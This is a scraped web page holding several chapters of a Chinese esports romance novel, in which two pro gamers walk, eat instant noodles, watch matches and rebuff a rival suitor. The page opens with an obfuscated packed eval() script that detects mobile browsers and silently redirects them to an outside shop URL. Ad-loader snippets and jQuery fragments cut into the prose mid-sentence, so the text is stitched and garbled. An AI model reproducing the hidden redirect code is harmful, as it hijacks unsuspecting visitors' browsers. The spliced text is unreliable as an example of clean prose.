;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701653|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睑,往后撤了身姿,只是距离依旧近在咫尺,宣依那不平稳的呼吸被压在齐呈枫被情.欲占满的目光之下。 时间按下暂停键,他垂眸,她仰头,默契地陷入沉寂里。 只是眼波流转,宣依看见齐呈枫唇角那渍来自她的痕迹,刚才那场缠绵的吻反复拥有了第三视角的画面,她踮脚凑上去吻在他的唇边,又不动声色地将搭在他肩上的手勾回来,轻轻摩挲过她的唇角,将那缕痕迹抹去。 齐呈枫捏住她的手,喉结滚动,压下燥闷:“没事,我喜欢。” 他带着浅笑,顺势拉住宣依的手,手指穿过指缝拽紧,宣依低头看向两人间的十指相交,利用这顺其自然的动作掩盖过她的脸红。 两人并肩的漫步里又聊起很多。 在情绪稳定里,宣依再次重复起自己的思绪:“我也不太清楚为什么当时没有告诉你,也许是因为我总想去避免一些争吵,却没想到愈避愈烈,成了这样。” 出了巷子,街道已经被路灯点缀。 十指相交里,齐呈枫的拇指抚弄着她的皮肤,顺着这句话里透出的那份略显低沉的情绪偏头看向她:“依依,这没什么的。你说得很清楚,我也想得很清楚,是我的占有欲表现过于强烈,让你有了后顾之忧,这件事本就不难由你一个人揽责。” 两人手牵着手,靠着人行横道的最边缘往前。 “而且,两个人总是要慢慢磨合的,”齐呈枫语气轻松,讲那些不愉快通通甩在了脑后,“我们的日子还很长,钓鱼讲究耐心,宣太公都钓了这么久了,现在我已经咬中了你的钩,已经注定是你的囊中之物了。” “我,”齐呈枫带着她的手举起,低头,嘴唇贴在她的手背上,声音清冽,“不会松钩的。” 赖定你了。 宣依有些愣住,目光上扬看着自己被摆布的手掌。 看上去她对这个落在手背的吻是淡然的,甚至充满了疑惑。 但此刻,她感受到了自己凌乱怦然的心跳。 不似接吻时的有急有缓,它就只是随着手背转瞬即逝的湿温快了一秒,只有那么一个瞬间,却让她发愣了很久。 明明只是一句恋爱中平平无奇的土味情话,只是一个毫无仪式感的吻手,她却变得慌乱。 对此,她下意识想做出回应。 只是一片空白里,她甚至连条理清晰的话都没想出来:“囊中之物,你是……我的。” 齐呈枫眉头一挑,看着她脸上显出的那份天然呆,边点头边挂上了宠溺的笑:“嗯,囊中之物,我是你的。” 这句无厘头的话经他夏夜笑容与温声重复变得浪漫。 夏夜漫漫,宣依瘪嘴为自己乱七八糟的回应不满,但心里却因为齐呈枫的回应有些痒痒的。 齐呈枫像是看懂了这些情绪,走着走着,自然地松开十指相交的手,抬手取下她的发圈,揉了揉她的脑袋,将发圈套在了手腕上,耀武扬威般举到她眼前晃了晃:“囊中之物还被圈住了。” 宣依看着自己的发圈,露出了笑,眉眼弯弯,黑溜溜的杏眼仁里映着今晚的月光,路灯和一个小小的始终看着她的身影。 “嗯,我的。” 73. 这是第七十三章 两人晃荡着手路过一家二十四小时便利店,宣依瞟见落地窗边投入于笔记本电脑工作里的打工人,手边还搁着一桶冒着热气的泡面。 “你……是不是真的没吃饭啊?” 宣依想起饭前那两句咄咄逼人的狠话,心里不太好受。 齐呈枫瞥了眼身旁的玻璃窗,漫不经心地往外侧挪步,偏离了原本的直线轨迹:“不想吃泡面。” “没说吃泡面,”宣依无奈地顺着齐呈枫往外挤的步子跟着往外移步,“你想吃什么?” 路线再次回归直线,只是身影偏移到了人行道的外侧,路灯打下来,圈圈点点的影子被拉长又缩短,齐呈枫似乎思考了很久,但脱口的回答又仿佛早有预谋:“想吃你做的。” 宣依看向齐呈枫,他也垂眸看向她:“不可以嘛?” 疑问的语调却带着心里已经有答案的傲娇。 宣依不应声了,任由齐呈枫的步伐一同进了超市。 入夜的超市里就连灯光也略显昏暗,来往的三两工作人员也透着迎接下班的慵懒,两人绕过一排排货架往里侧的蔬果区走,远远便看见架子上只堪堪残留着被拣剩的残次。 宣依随手拿了个番茄,软嫩的触感让她刚拿起便放了回去:“都不太新鲜了诶。” 身侧传来一声意味深长的叹息:“真可怜,连这些菜都不支持我吃个晚饭。” “吃吃吃,”宣依扫了眼附近几个货架,参照宿舍那个只能做些简单小炒烧水的电热锅,目光落在角落的冰柜,“汤圆还是水饺?” “你还不如问我吃什么味的泡面。”齐呈枫揽上宣依的肩带着她转身往出口方向走。 “你不喜欢吃嘛?”宣依问。 “还好,只是觉得吃这些还要洗碗洗锅,麻烦。” 路过零食区,齐呈枫就搭着她穿梭进其中。 宣依被带着走,也没在意绕了路,认可地点着脑袋回答:“我也不喜欢洗碗,看来以后咱家得装个洗碗机。” “哪个?”齐呈枫一手扫过两包不同味道的薯片。 宣依瞧了眼,抬手取下选项外的另一个口味:“这个。” “我家依依想得还挺远。”齐呈枫放回手里的口味,又带着她沿路挑拣零食。 选了半个购物车的零食,宣依懒散地推着车子转弯,反射弧才悠悠拉回这句话对应的内容。 彼时齐呈枫已经对宣依清淡的口味有了认知,选起零食不再过多提问。 宣依推着车撞上他的背影:“你这么熟练,是不是谈过不少恋爱呀?” “什么熟练?”齐呈枫转过身,将刚选的两包零食丢进车里,绕到宣依身后,手臂撑过她的身子压在了推手上。 宣依顺着他下倾的身体弯了些腰,极具暧昧的距离随着齐呈枫往前推车的动作再次拉近,宣依提着一口气跟着往前迈小步,反应慢半拍地发现逃窜的路,松手蹲身从其中逃脱,吐出气息抬手指向推手:“就比如这个。” 齐呈枫偏头欣赏着宣依脸上缓缓下沉的红晕,脸上的笑意在眉梢挑起的一刻愈加张扬:“从小就被某人捕获芳心,怎么‘出轨’?” 越听越觉得他的恋爱经历丰富,撩人的话手到擒来。 宣依干脆地丢下一个背影。 - 为了完成自己丢下的承诺,煮泡面的水是由宣依来按的按钮。 看着亮起红灯的烧水壶,宣依满意地点点头走向齐呈枫。 他正捧着手机,指尖快速游走在输入法上,抬眸看了眼宣依走来的身影,匆匆结尾熄了屏丢回身旁的沙发窝,弯腰将剩下的两个佐料包倒入桶里。 宣依瞧了眼他的动作,与以往数次重叠的匆忙。 她摆摆头:“又在你们小群里说什么呢?” 齐呈枫伸手重新摸回手机,递给了宣依:“密码0103。” 手机摊到宣依面前,亮起了那张朝阳之下街道边的背影锁屏,宣依淡淡地收回目光点亮自己的手机屏幕:“恋爱脑。” 娇纵的语调透着她无法掩盖的雀跃。 她点进设置页面,捯饬着密码锁屏,弄着弄着出神地翻起了相册。 “叮”一声细响,宣依还投入于凌乱的照片里,齐呈枫起身去拿烧水壶泡泡面。 压好盖子时,宣依捧着手机相册转向齐呈枫,屏幕里一张横板的合照,右下角还映着微博的水印。 “珠珠说这张照片还有一版,哪儿呢?” 她摊着手索问。 齐呈枫又乖巧地抵上手机。 还未点进相册,宣依便看见了那张照片。 那个来回交替的小组件相册显出了那张合照,未经裁截的比例被组件压缩,宣依点进去,画面跳转进名为“小仙依”的分类相册。 扫过一排排各类合照、偷拍交错凌乱地拥在这一个相册里,宣依手指无意点进其中一张,淡然地顺着这个动作划过图片:“恋爱脑。” 齐呈枫笑着揉了揉她的脑袋:“我家依依这么好看,不多拍点照多浪费。”说着他蹲下身揭开了泡面盖,捏着塑胶叉挑了两下。 一条消息弹窗在宣依愈加松懒的葛优躺里跃过图片上方。 他的备注简明意赅。 【程舟:了解了,坏笑.jpg】 宣依抬脚抵了下齐呈枫的后背:“可以看你消息嘛?” 齐呈枫佝偻着身子吸溜进一叉子面,腾出一只手晃了晃OK的手势。 在弹窗将自动隐去的一秒,宣依点进了微信。 齐呈枫刚才匆忙打的文字还停留在与程舟的输入框里。 上面是两个人三言两语的聊天,这段话是由齐呈枫开的头。 【7:晚点回来】 【程舟:?和好了??】 【7:嗯】 【程舟:这个嘛,我思考思考】 齐呈枫那句“请你两张电影票,周末约会我报销”停留在输入框里,于是有了程舟未等到回应的这句话。 这其中的误会,不言而喻。 宣依捏着手机里的聊天记录晃到齐呈枫眼前:“你,不怀好意。” 齐呈枫抬眼扫了下屏幕,扯着纸擦了下嘴唇回过身看向宣依,仰身往上凑:“嗯,然后呢?” 他的目标太过明确,宣依抬手捂住嘴:“不给亲,不让你得逞。” 如此欲盖弥彰的动作落在齐呈枫仰 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 视的角度里莫名可爱,他笑着将手臂压在宣依身侧,沙发垫落下一片凹陷,他与宣依对峙上目光:“你觉得这样挡得住我?” “好好吃你的泡面。”宣依别开眼,将他的手机搁在了桌上。 余光里见齐呈枫缓缓转回了身,心才平稳下来,划着手机看起了今天的另一场比赛。 是BTG与Wolf的比赛,比赛已经结束,先落入眼的是已然成定局的比赛结果:3:2。 宣依点进回放后才慢半拍反应过来,排在前面的、赢的那支战队是BTG。 兴许是BTG这个赛季多次失常的发挥,这个结果显在眼前时,宣依是感到意外的:“今天比赛是BTG赢了诶。” “嗯,我已经看过比赛了。”齐呈枫吸溜着面回答道。 宣依滑坐到齐呈枫身旁,被他瞥了眼后塞了只拖鞋垫着:“很意外?” “是有点,赢了倒不例外,但是我看他们这次是全首发队队员上场,”宣依手撑着下巴边看着齐呈枫吃面边说,“是不是说明打压他们的资本总算有点人性了?” “我觉得这样的比赛赢了才有意义,”宣依没管齐呈枫的反应,自顾自地点头说着,“说起来我们下一场也是对BTG吧,希望到时候也是全员首发……” 齐呈枫推开泡面,扯了张纸擦嘴:“不是不喜欢他们嘛?” “之前上综艺的时候确实印象不太好……”宣依环住屈起的膝盖。 两人靠近了些,齐呈枫揽过宣依的肩:“因为他们被资本胁迫,连印象都变好了?” 宣依摆摆头,轻飘飘的语气像是释然了一切:“当然不是,我打了这么久比赛却再未看见一位女选手,枪打出头鸟嘛,对我有质疑有排挤很正常。” 话语间,两人叠在一起的手由齐呈枫领导着缓缓十指交错,距离也随之拉得更近。宣依察觉到其中安慰的意图,顺其自然地靠在了齐呈枫的肩上,用淡然的语气抹平他的担忧:“说不在意可能很虚伪,我自己都不信,但打了这么久的比赛,我继续坚持下去的理由早就不止证明自己了。” 她指尖回扣,握住齐呈枫:“和你们在一起让我觉得每一场比赛都有意义,输赢都有意义。” 贴在齐呈枫身前的脸颊感受着他此起彼伏的呼吸,宣依从未设想过这样的场景,她不知道这段话结尾时心尖那抹甜是否来自于此。 齐呈枫低眉看着宣依嘴角的笑意,也跟着笑:“到时候会是首发队的。” 两人顺着BTG聊到了剩下的几场比赛。 第三轮常规赛还剩三场便进入季后赛了,虽然身在S组,他们拥有了保送季后赛的资格,但越是此刻越代表了每一场比赛都分外重要。 如若他们能在这轮常规赛里拿到前四的积分,他们在季后赛便多了一点可能性。 “Wolf今天这场虽然输了,但BTG只积了一分,他们积分第一基本是稳的,”齐呈枫带着宣依从略带冰凉的地板上起身,收拾起垃圾,“我们如果是第四名便会在季后赛第一场就遇上他们。” “但其实早晚都会碰上,对了,之前季……”宣依仰着脑袋看齐呈枫忙活的身影,突兀地想起季方时的话。 74. 这是第七十四章 宣依顿住话,抬眼去看齐呈枫的反应。 他却只是因为这个停顿淡淡地扫了眼,蹲下身将垃圾袋系上疙瘩:“嗯,那天比赛结束我看见他和你说话了。” “就是说这个的,”宣依得到他淡定的回应后才继续往下说,“他推荐我们看一下BTG和Wolf2018年的秋季赛。” 齐呈枫蹙眉思索了几秒,进小厨房洗了个手:“BTG赢的那场?” “我们之前不是看过吗?” 宣依坐在沙发上翻看起手机,坦率道:“我不太清楚那场是哪场。” 等齐呈枫忙碌完一系列的收拾,宣依已经固定好横屏的手机,等着齐呈枫坐下后按了播放键。 训练室观看比赛时会为了观感和投入关闭弹幕,但宣依按回放的时候忘记关了。 等第一条弹幕出现时,她准备关弹幕的指尖又顿住了。 【2021.5.19留】 【还是这场经典】 比赛还未进入预热,重刷这场比赛的弹幕倒是连了两排。 “这场很经典吗?”宣依便只把弹幕开成了单排。 齐呈枫摇头:“这个时候我还没入圈,不怎么关注比赛。” 因为王者的赛季更新会连带很多峡谷和英雄的机制一同更改。他们训练和观看比赛大多都选用当前赛季的资料,这场比赛只是由凌一鸣翻出来播放过其中一场。 比赛的前摇很长,宣依趁着解说员的话问道:“其实我还挺好奇的,你成绩好又不缺钱,为什么会来打电竞呢?” 齐呈枫弯腰落在屏幕上的加速动作一晃,将进度条拉到了比赛开始之际,意料之外的动作却被他轻易掩盖过去,英雄选择的画面已经落了尾,阵容已经确定,齐呈枫收回手:“先看比赛吧。” 这个画面顺着齐呈枫收回的手臂展露时,宣依就已经泛上了困意,一口哈欠打出,她揉了揉眼睛偏倒在齐呈枫肩上。 比赛进行了十来分钟,宣依强撑着眼皮道:“那这场BTG是打逆风局。” 齐呈枫瞧了眼她,扯过一旁沙发上的外套给她搭上:“困了就回去睡,后面还有时间看呢。” 宣依靠在他肩上,连摆头的动作都幅度微小。 因为最后的比分是3:1,她下意识觉得这场会逆风翻盘,这样精彩的逆风翻盘值得克服困倦。 直到最后BTG水晶炸裂,宣依都以为是自己不清醒,揉了下眼睛确认这个结果,再次通过解说员的声音确定了结果,她一口提着的气瞬间掉了下去蔓开一个长哈欠,喃喃:“我是该睡了。” 顺着这句话,她的脑袋瞬间没了支点般从齐呈枫肩膀狠狠往下一点。 齐呈枫手掌及时捧住她的额头,宣依也跟着一个惊醒,撑手站起身,一晃已经迈出了步子:“太困了,下次再看,先回去啦。” “好,“”齐呈枫跟着起身,手臂空虚地拦在她身后,看着她迷糊的模样,眉目溢出宠溺,弯唇去拿桌上的手机,“你是不是忘了什么?” “砰哒”刚握住的手机一瞬失去支点摔在了桌面上,那只隆着青筋的手掌悬停在上面。 齐呈枫的肩膀被一股软绵绵的力道固定住。 宣依踩着的鞋后跟扁扁压在已经踮起的脚跟下,恹恹欲睡的朦胧意识里,她的嘴唇轻轻点在齐呈枫的脸颊上。 晚风吹起薄纱窗帘,在她唇瓣落下的地方掀起丝丝凉意。 诱人深陷的某人却眯着那双惺忪睡眼,恝然立在原地。 “依依。” 齐呈枫出声拉扯此刻凌乱的心。 眼前人却满不在意地勾勾唇应声:“嗯,晚安。” 说完话的她像是完成了任务一般,扭头继续往前走。 齐呈枫即刻跟上前,微微一弯腰,手臂横过她的大.腿,将她横抱起。 “你干嘛啊?!”宣依怨愤着,只是声音被困意覆盖显得软绵绵的。 而这份怨愤在两三步里便被睡意掩了过去。 她缩缩脑袋,在齐呈枫衣服间蹭了蹭,熟悉味道的安全感围裹,直到她沉入睡梦时嘴角还带着笑意。 - 这场半梦半醒的不真切被宣依当成了一场梦,两人的腻歪也在连续几天的训练里收敛。 周五傍晚,宣依率先结束了连续几场的排位赛,倒在沙发上闭目养神。 不远处还争吵着峡谷里的战争,干涩的双眸在此刻总算得到润和,不久身旁又落下重量,熟悉的味道笼上来,宣依便靠了过去:“这两天手感好差,最后一把空了两次闪现。” “不要把自己逼得太紧。” 话语间,眼眶落下一片温热,仿佛晕开了堵塞良久的血液循环。 “明天就比赛了,不想因为不舒服影响手感耽误比赛,”宣依抬手扶了下眼前的蒸汽眼罩,“你又买新的了?” 上个月也是赶上比赛那几天来月经,宣依便吃了点药将其往后延。但这种药吃了副作用很大,宣依身体素质很好,从小没生过什么病的她却连着两天肠胃不适。 齐呈枫看着她什么也不吃,两天瘦了三斤,这次便毅然地阻止了这个行为,他抬手固定着蒸汽眼罩:“嗯,之前的用完了。” “依依,你给自己太大压力了,兴许是因为鬼谷子得到了大众认可,你现在总想着把它练得炉火纯青,”齐呈枫弄正了眼罩,在宣依看不见的地方垂下眉,眼里沾上了泪光,充斥着怜爱,“将心血寄于某一个英雄,这不是那个全能的桂花酿会做的事情。” 这句话落下,眼罩笼盖了情绪,只能看见嘴唇颤了颤,却沉默了良久。 “桂花酿不会,Hunter会,”宣依稍稍坐正了身体,虽然被眼罩盖住了半面神情,却能在直言的语气里听到她往日毅然决绝的态度,“我说‘输赢都有意义’的时候确实是这么想的,但事实情况是我很在意输赢,一开始加入战队时我在意这些是因为想要用卓越的表现来证明自己,但如果以一个辅助的姿态拿了败方MVP那也未尝不可。” “但现在我想赢是朝着冠军去的,我不想在这种时刻被换下去,我身后有很多人等着这个位置,我输不起所以不能输。” 齐呈枫握住她的手腕翻转,另一只手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 顺着舒展开她的手指,轻柔按捏着:“我本来想带你去放松一下的,但听你这么说,感觉一时半会儿是离不开这游戏了,那待会我们去看今天的比赛?” 得到温润的眼睛舒适许多,宣依抬手摘下眼罩扭头看向齐呈枫:“今天比赛?” “傻啦?光记我们比赛时间,都忘记其他队伍也有比赛了…今晚好像是南城AQ和Sky的比赛,”齐呈枫捏着她的脸颊揉了揉,眉眼弯弯,“去看吗?” “可以。” 一瞬之间的恍惚,遥想之前邀请她看比赛,要来一场半推半就的演戏,要乔装成对她漠不关心的模样,还要按耐住应邀后的雀跃。 回忆起那时的画面,齐呈枫的笑容更灿烂了些。 宣依偏头观赏着他的笑,不自觉跟着笑:“和我看比赛这么开心?” “只要你在身边都开心。” 几句话将她复杂的情绪舒展,其他几人的场次排位也相继结束,几个人精疲力尽地直奔沙发倒下,宣依便往一旁挪动着腾位置,直至身子抵在了沙发扶手边。 任宙也扶着脖子跟在凌一鸣身后走到众人面前:“这几天训练确实排得紧,明天就比赛了,今天就早点休息放松放松吧。” 扬起一声欢呼后很快又陷入沉默,疲惫的几人凌乱拥挤在一起瘫在了沙发里。 齐呈枫在一群人拥过来的时候便起了身,此刻靠在宣依身侧的扶手上,蹙眉看着沙发上那群人,很快撤掉目光垂眸看向宣依:“走吗?” 宣依仰头对上视线,点头。 - 进场馆刚巧第一场结束,明明也没多久但宣依再次勾腰入座时都快忘了上次作为观众是什么样的心情了。 她直径走向最边缘的空位,却在路过某个位置时被叫住:“依依。” 齐呈枫也顺着这个亲昵的称呼扭头。 第三排的任哲文勾勾手:“这儿。” 宣依回头瞧了眼齐呈枫。 最后两人无可奈何地弯腰迈上阶梯。 任哲文让出位置,宣依坐在了里侧,由齐呈枫隔在其中。 很快第二场的BP环节开始,齐呈枫便顺口问道:“第一场谁赢了?” “不知道。”任哲文回答。 齐呈枫冷眼瞧了过去,没再说话。 饶是宣依坐在里侧并不知道这边的气压已经直线下降:“南城AQ又换回原本那个射手了诶。” “嗯,”齐呈枫不经意间半个身子已经往宣依这边偏挪了,“他们战队替补轮换的方式偏重于首发队的选择,应该是和那个新射手磨合不出来。” “也有可能是那个新射手不想和他们战队磨合,”宣依也往齐呈枫方向偏,两人的脑袋紧挨在了一起,“他之前不是想来挖我嘛,应该是看过我比赛觉得我的打法和他契合。” 毕竟从Wolf那样的热门战队出来,带着心高气傲,不愿改变自己打法套路,不愿与新队友磨合太过寻常。 齐呈枫眉眼弯弯听她念叨,点着头:“他要还想挖你,我就说……那得顺便把我挖了,我离不开我家小辅助。” 75. 这是第七十五章 “你真的……”宣依闻言无奈地笑着,“不理你了,看比赛。” 台上随着第二场比赛正式开始扬起解说员的声音,宣依也作势坐正了身子看向屏幕。 齐呈枫扭头确认了下她脸上的笑意也跟着看向屏幕。 宣依并没有和Sky交过手,恰好趁着这场比赛了解一下对手也不错。 南城AQ:吕布、孙悟空、妲己、孙尚香、蔡文姬 Sky:亚瑟、云中君、姜子牙、李元芳、张飞 阵容上来看有些不分伯仲,Sky这边云中君前期节奏强,面对猴子这类英雄更具压迫性,射手的被动又刚好克妲己的一套蹲,而南城AQ的阵容续航能力强,前期不好打但后期会轻松很多。 如预期一样,Sky前期的优势打得很顺利,云中君的支援很到位,带着下路的经济一同打出优势。 唯一比较劣势的是中路被打成0-2的姜子牙——猴子支援赶不上云中君的速度,只能退而求其次,连着两次去切中路的姜子牙。 宣依看得入迷抬手抵了下齐呈枫的手臂:“下注。” 齐呈枫看着还未陷入一场激烈解说算得上平静的比赛界面,沉默了两秒应声:“南城AQ。” “不行,撞下注对象就没意思了。” “就是说,我没选择咯?”齐呈枫被宣依一本正经的语气逗乐了,扭头看向她。 此时云中君埋在了中下河道草丛,妲己升了六级清完中路兵线后从己方野区向下路支援。 孙尚香虽然连着几次被抓都在蔡文姬的保护下存活,但随着云中君的经济发育,这样残血逃脱的可能性也直线降低。 “嗯?”齐呈枫凑近继续询问。 迎接他靠近的是一个手掌抵在脑门,冷漠推开的力道:“等一下,要开团了。” 齐呈枫挑眉有些不可置信。 屏幕中的画面却让宣依无从分神关注他的情绪,蜷缩着的拳头覆在嘴边,蹙眉看着导播停留下来的画面。 解说员A:“云中君一技能突进命中了妲己,妲己闪现越过龙坑丢了个二技能,继续往下路……” 蔡文姬迅速拉着一技能接应妲己,张飞朝着妲己一技能推开,不知是否算好角度,妲己被稳稳推到了一边的草丛,被李元芳的技能秒中。 孙尚香状态耗了两轮兵线,虽然有奶妈回血但经济却被压了五百多,只能隔着一段距离打输出。而妲己的二技能丢给了云中君,她没什么反抗能力地丢出一三技能,还因为云中君的出现技能被打散。 一波落入劣势的团战却在吕布通过传送阵出现的身影翻转,一个大招落在草丛边缘,看似歪了的技能却封掉了几人一半的走位,另一边猴子也及时赶来。 虽然妲己并没撑到他们的支援,但Sky的三人也很快被锁定在了方寸之地。 李元芳的位置局限,二技能想穿墙撤离也未来得及,被吕布挥舞两刀拿下。 解说员B:“下路一波四打三的局面,奶妈开了大招给吕布回状态,张飞大招怒吼,伤害打在了吕布身上,香香二技能靠近再次输出。” 技能混乱地在草丛炸开。 只可惜一个辅助抗坦克实属困难,伤害打下去两下,还不如吕布还击打出的一技能。 团战以云中君从下路逃脱结束,也在这一波团战里,南城AQ领先了一千多经济。 观众席扬起一番呐喊,宣依也跟着这波团战的结束吐了口气,垂下手臂,再次松懒放松:“如果你一开始选Sky,不就有选择嘛?” 齐呈枫也不恼,反而觉得这样带着小任性的宣依很可爱,他点着脑袋仿佛在认同这种说法:“那我听听赌资再决定下不下注。” 宣依与此刻刚结束团战的峡谷一同沉寂下来。 良久沉默里,齐呈枫抬手揉了揉宣依的脑袋:“想不出来的话,就双排?” 宣依惊诧地看向齐呈枫,迟疑了两秒才确认内容:“双排?” 见他点头,宣依又欲盖弥彰地看向大荧幕,不太自在地抬手附在脸颊上:“哪有用这个做赌注的……而且,” 脑子一片空白的她也没想到“而且”后面该接点什么,看着屏幕就顺口说道:“比赛都没结束呢。” “下注不就是在结局公布前吗?”齐呈枫抬手捏住宣依后脖颈带着她转过头与他对视,“你怎么了?” 哪怕被迫扭过头来,宣依还垂着眼拒绝对视。 庆幸场馆昏暗又叠加各种暗色灯光,她脸上的色彩被淹没其中。 “齐呈枫,我……第一次谈恋爱。”宣依咬咬唇道。 齐呈枫的手掌向上安抚性地揉着她的后脑勺:“知道,我们依依是好学生,不早恋。” 任哲文听着齐呈枫口中那凌乱的字眼,弯腰谈过身来询问情况:“依依,你不是成年了吗?” “不想和他公开恋爱嘛?不用找这种借口的。” 两人一脸莫名地低眸去看他。 颇有打量傻子的神态。 被打岔了的对话,宣依也趁机脱离齐呈枫手掌的控制,一鼓作气般吐了句:“算了!” 又借着这句话给自己打气,抬眸看向齐呈枫,询问:“意思是,你输了我们双排,我输了就不双排,对吧?” 齐呈枫扯着嘴角看着宣依大起大伏的模样,点头:“嗯哼。” 他也没懂一个双排为何把人小姑娘搞这么慌乱。 “好,我答应了。” 从这句话开始,宣依观看比赛的情绪发生了天翻地覆的改变。 Sky野区一波小团战,猴子和妲己掉了。 宣依皱着眉头吐槽:“这个时候反什么野啊!?” 吕布退掉上路一塔连带将亚瑟收割了。 宣依散懒靠在座位里:“别的不说,吕布这把真的秀。” 又在上路野区开了波团战,南城AQ吃了暴君和地理位置的亏,只留下了蔡文姬和吕布两人,蔡文姬还断后打了个晕眩出去和吕布分开撤退。 “撤得了撤得了。”宣依抿着拇指的关节,低声保佑。 齐呈枫觉得比赛变得没什么意思了,摇头轻声感慨:“就这么不想和我双排。” 最后的结果如了宣依的愿,看着宣依那松了口气的模样,齐呈枫无可奈何地倒在靠椅里,掏出手机刷消息。 选手席的两支战队也哀喜不通地离开了舞台进行中场休息。 宣依缓过情绪,扭头时齐呈枫没什么表情地滑动着手机屏幕,他本就生得一张冷峻相,没表情时看上去更是带着强烈的距离感。 微弱的白色光芒错开所有暗沉打在他的脸上,锋芒冷冽,兴致并太高地在一片纷扰世界里独自轻敲手机。 宣依伸手盖住他的手机屏幕,凑头歪倒在上面:“生气了?” 齐呈枫后仰靠在了椅背上,拉开距离,一副恃宠而骄的模样:“怎么可能因为这种事生气?你不想打就不打呗,逗你玩玩而已。” 宠溺的语气陈述着无关紧要的赌注。 宣依坐回了身子,悬着的心落到实处,摇摆起小腿:“我就知道小枫枫最大方了。” 但齐呈枫的话却越听越不对劲。 “而且最近实战训练确实太久了,休息时间就应该好好休息,不然到时候眼睛又干涩不舒服,蒸汽眼罩也不能解决问题。” “等一下,”宣依出声打断了他,“你说的双排是正常的双排?” 齐呈枫眉头一挑:“什么双排算不正常的?” 宣依视野没法再利用比赛逃避,抿着嘴巴,手指晃了晃:“就……没什么。” 两人思路从一开始就分岔开,往完全不同的方向延伸成了这个宣依独自尴尬的场景。 要怪就怪关于情爱一词乱七八糟的暗示太多,齐呈枫说出“双排”时那欣喜期待的模样让宣依不自觉误解了这两个字,然后一次次的对话完全顺着这个理解发展。 宣依捏着拳头恼悔,胡言乱语:“这场南城AQ打得挺好的,对吧!” “嗯,尤其是吕布 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”齐呈枫有些莫名地顺着她的话说。 男生在这方面都带点无师自通,宣依连着一堆的怪异反应让齐呈枫顺着这两个字思索了一下,答案不言而喻地浮现在脑海引得他勾起一笑:傻瓜。 - 比赛结束,选手席还未从胜负分晓中脱离出来,观众席毅然,杂乱的热议一阵又一阵忽高忽低。 “最后一波可惜啊,”宣依的目光缓缓收回,感慨着,“明明牛魔都硬控了三个了,结果就因为队友上慢了直接崩盘了,本来多好的优势的。” 齐呈枫目光追随着选手席的方向,向南城AQ投来的目光默默点了下头:“牛魔连着两把团战都没打得出优势,他们队友应该有点顾虑,站位都比较散,已经反应很快了。” 身后的讨论声也渐小,宣依摆摆头叹了口气:“走吧。” 任哲文屈腿让出过道,齐呈枫起身垂眸瞧了眼:“你不走?” “你走呗。” 齐呈枫握住宣依的手腕脱离座位,任哲文便紧跟上来。 场馆就两个出口,任哲文心安理得地跟在两人身后,一直出了场馆走出一段距离,齐呈枫回头瞧了眼还跟在身后的任哲文:“我们坐车,你往哪儿。” 任哲文完全无视齐呈枫的话,看向宣依,声音柔和:“依依,你晚上吃什么?” 齐呈枫一口气咽不下去,举起与宣依十指相交的手:“我女朋友吃什么那也是跟我一起。” 那双紧握着的手举在两人身前,微弱肤色差的小臂紧挨在一起,宣布着两人之间的关系。 任哲文看着那双手,沉默了半秒再次开口的语调都显得低落:“我有话想和你说……” “我们之间有什么好说的吗?”宣依舌尖润过嘴唇,微微仰视着眼前人,“你所谓的误会那些我都知道,我也并不是因为这些才不喜欢你的。” 街边还未脱离平日的冷清,三三两两的路人投来目光,宣依感受到这些目光有些不自在地往齐呈枫身边挪步:“任学长,就像这场KPL,你从前看不懂现在也看不懂,在一件并不感兴趣的事情上浪费再多时间也没用。” “我不喜欢你,你耗费再多时间也没用。” 齐呈枫偏头瞧着宣依,那样稚嫩的女孩仿佛冷淡惯了,说这些话时语气也压得很低,丝毫不拖泥带水。他赏心悦目地瞧着,嘴角勾上浅浅的笑意,手上力道有些松懈的那刻又被带着紧握,在眼前晃了晃。 耳畔是宣依带着这个炫耀的动作自豪的声音:“而且,我呢比较专一,认定了就不会变。” 那份浅浅的笑意因为这句话陷得愈深。 话落,宣依带着齐呈枫转身往车位走,两只手松开时齐呈枫还留恋地摩挲了下,才拉开车门,关上车门后回头给任哲文挥了挥手:“走咯,拜拜。” 齐呈枫绕过车头坐上驾驶位握住方向盘,嘴角的笑却分毫未减。 宣依抬手重新扎着凌乱的头发,扭头瞥了眼:“我就说我该学个驾照,暗爽成这样总觉得待会开车都得飙180码。” “我可没有,”齐呈枫极力压下了嘴角的笑意,“我只是在想,如果被拒绝的是我,这番话听下来我可怎么办啊!” 宣依刚要出声,这人自己就把自己安慰好了:“幸好我们依依喜欢我呢。” 车一路驶进地下车库,宣依优先解开安全带,凑到齐呈枫脸颊边落下一吻:“下注的安慰奖。” 齐呈枫落在安全带扣边的手一抬扶着宣依后颈,往身上一带,仰头迎接落下的嘴唇。 宣依被带着压过中央扶手台,环手搭在了齐呈枫肩膀。 一片凌乱里呼吸纠葛,齐呈枫压着眼帘瞧着眼前的唇瓣:“双排什么的,我不着急,你愿意的时候我随时奉陪。” 话落他又迎上来,蜻蜓点水般为这场吻接吻。 宣依这次不敢再乱想,只当是因为那句“安慰奖”而掀起的后续。 可齐呈枫偏偏不放过,润过嘴唇后又开口“这次是你理解的那个‘双排’。” 76. 这是第七十六章 与BTG的比赛安排在了周六下午的第二场,午饭过后一行人便直接坐车前往电竞会场。 车上的众人讨论起这一场的对手,时隔一个多月再次遇上BTG,但那场比赛的记忆却格外遥远。 “主要是他们阴晴不定的,我们甚至不清楚会上首发还是什么。”魏晟无可奈何地感慨。 